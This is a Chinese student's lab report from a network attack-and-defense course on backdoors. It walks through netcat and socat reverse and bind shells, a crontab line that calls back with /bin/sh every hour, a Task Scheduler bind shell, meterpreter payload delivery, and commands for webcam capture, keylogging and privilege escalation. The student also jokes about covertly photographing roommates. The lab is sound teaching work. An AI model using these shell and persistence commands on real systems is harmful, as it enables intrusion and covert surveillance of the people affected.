20155308 《网络攻防》 Exp2 后门原理与实践
学习内容:使用nc实现win,mac,Linux间的后门连接
:meterpraeter的应用
:MSF POST 模块的应用
学习目标:建立一个后门连接是如此的简单,功能又如此强大。通过亲手实践并了解这一事实,从而提高自己的安全意识 。
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 在网上下载软件的时候,有一些捆绑软件一起下载;
- 在输入网页的时候不小心打错了地址,然后进入了一个和自己目标网页相似的携带木马的网站。
- 网页上弹出的小广告,在关闭的时候,不小心点进去。
- 自己的U盘被人植入了木马
2.例举你知道的后门如何启动起来(win及linux)的方式?
- 对后门程序进行伪装,诱骗用户点击启动;
3.Meterpreter有哪些给你映像深刻的功能?
- 直接通过指令获取主机的摄像头让我佷感兴趣,觉得如果这块命令掌握的好的话,可以偷偷照点室友的丑照。
4.如何发现自己有系统有没有被安装后门?
- 经常查看自己的文件夹有没有陌生的文件。但是这个办法很笨。。。
- 检查防火墙开启的端口和它对应的进程,如果不是系统默认开启的端口都有嫌疑,找到对应的进程,对其进行抓包分析;
- 下载监控软件,看是否存在异常。
NC 或 netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
Mac: 系统自带,"man nc",查看其使用说明。
Win获得Linux Shell
在Windows下,先使用ipconfig指令查看本机IP
- 课程主页附件中下载ncat.rar解压即可使用。
- windows 打开监听
- Linux反弹连接win
- windows下获得一个linux shell,可运行任何指令,如ls
Linux获得Windows Shell
- 在Kali环境下用
ifconfig
查看IP
- Linux运行监听指令
- Windows反弹连接Linux
- Linux下看到Windows的命令提示
nc传输数据
- Windows下监听5308端口
- Kali下连接到Windows的5308端口
- 数据传输成功!
实验内容
使用netcat获取主机操作Shell,cron启动
- 在Windows系统下,监听5308端口
- 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行
- 用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器
- 在最后一行添加32 * * * * /bin/netcat 192.168.44.129 5208 -e /bin/sh,意思是在每个小时的第32分钟反向连接Windows主机的5308端口
- 32分后,此时已经获得了Kali的shell,可以输入指令输出结果:
做到这部分的之后,我在虚拟机上下载server 2008,kali直接崩掉了,我又重新下载了一次kali,地址就变化了。新的地址是
使用socat获取主机操作Shell, 任务计划启动
预备知识;
socat是ncat的增强版,它使用的格式是socat [options] ,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程:
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
- 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5308 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5308,同时把cmd.exe的stderr重定向到stdout上:
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
此时可以发现已经成功获得了一个cmd shell
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.输入指令生成后门程序:
2.通过nc指令将生成的后门程序传送到Windows主机上:
3.在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
4.设置完成后,执行监听:
5.打开Windows上的后门程序:
6.此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令可以截获一段音频:
- 使用webcam_snap指令可以使用摄像头进行拍照:
- 使用webcam stream指令可以使用摄像头进行录像:
- 使用screenshot指令可以进行截屏:
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:
- 先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功
体会
本次实验比较简单,但是主要的是自己在操作上有很大的问题,然后做到最后,虚拟机因为同时运行很多的虚拟机,所以系统卡了,整个虚拟机崩了。我就做了好几遍,才出来现在的效果。通过本次实验,我遇到了很多的问题,其中一些的问题,是同学们都没遇到,我上网也查了,也不知道怎么解决。。。。。。但是后来我发现,有的时候重开虚拟机,很多问题就莫名其妙就解决了,这也是让我很无语的地方。